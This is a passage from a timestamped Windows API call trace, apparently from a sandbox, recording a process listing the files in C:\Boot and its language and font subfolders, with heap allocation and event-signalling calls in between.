ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fed68 [0164.449] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.449] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.449] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.449] FindClose (in: hFindFile=0x6fed68 | out: hFindFile=0x6fed68) returned 1 [0164.449] GetProcessHeap () returned 0x6a0000 [0164.449] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.450] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0164.450] GetProcessHeap () returned 0x6a0000 [0164.450] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.450] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fed68 [0164.456] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.457] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0164.457] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0164.457] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0164.457] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0164.457] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0164.458] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0164.458] FindClose (in: hFindFile=0x6fed68 | out: hFindFile=0x6fed68) returned 1 [0164.458] GetProcessHeap () returned 0x6a0000 [0164.458] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.458] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0164.458] GetProcessHeap () returned 0x6a0000 [0164.458] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.459] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fed68 [0164.463] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.463] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.463] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.463] FindClose (in: hFindFile=0x6fed68 | out: hFindFile=0x6fed68) returned 1 [0164.463] GetProcessHeap () returned 0x6a0000 [0164.463] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.463] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0164.463] GetProcessHeap () returned 0x6a0000 [0164.463] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fed68 [0164.464] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.464] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.464] FindNextFileW (in: hFindFile=0x6fed68, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.464] FindClose (in: hFindFile=0x6fed68 | out: hFindFile=0x6fed68) returned 1 [0164.464] GetProcessHeap () returned 0x6a0000 [0164.464] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.464] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0164.464] GetProcessHeap () returned 0x6a0000 [0164.464] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.464] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.861] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.861] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.861] SetEvent (hEvent=0x178) returned 1 [0164.861] ResetEvent (hEvent=0x17c) returned 1 [0164.863] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.863] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.863] GetProcessHeap () returned 0x6a0000 [0164.863] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.863] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0164.863] GetProcessHeap () returned 0x6a0000 [0164.863] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.863] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.863] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.864] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.864] SetEvent (hEvent=0x178) returned 1 [0164.864] ResetEvent (hEvent=0x17c) returned 1 [0164.865] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.865] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.866] GetProcessHeap () returned 0x6a0000 [0164.866] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.866] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0164.866] GetProcessHeap () returned 0x6a0000 [0164.866] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.953] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.954] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0164.954] SetEvent (hEvent=0x178) returned 1 [0164.954] ResetEvent (hEvent=0x17c) returned 1 [0164.954] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0164.954] FindClose (in: hFindFile=0x794e28 | out: hFindFile=0x794e28) returned 1 [0164.954] GetProcessHeap () returned 0x6a0000 [0164.954] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7210d0 | out: hHeap=0x6a0000) returned 1 [0164.954] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0164.954] FindNextFileW (in: hFindFile=0x720088, lpFindFileData=0x2c3f620 | out: lpFindFileData=0x2c3f620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0164.954] GetProcessHeap () returned 0x6a0000 [0164.954] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x7210d0 [0164.954] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x794e28 [0164.955] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.955] FindNextFileW (in: hFindFile=0x794e28, lpFindFileData=0x2c3f398 | out: lpFindFileData=0x2c3f398*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, 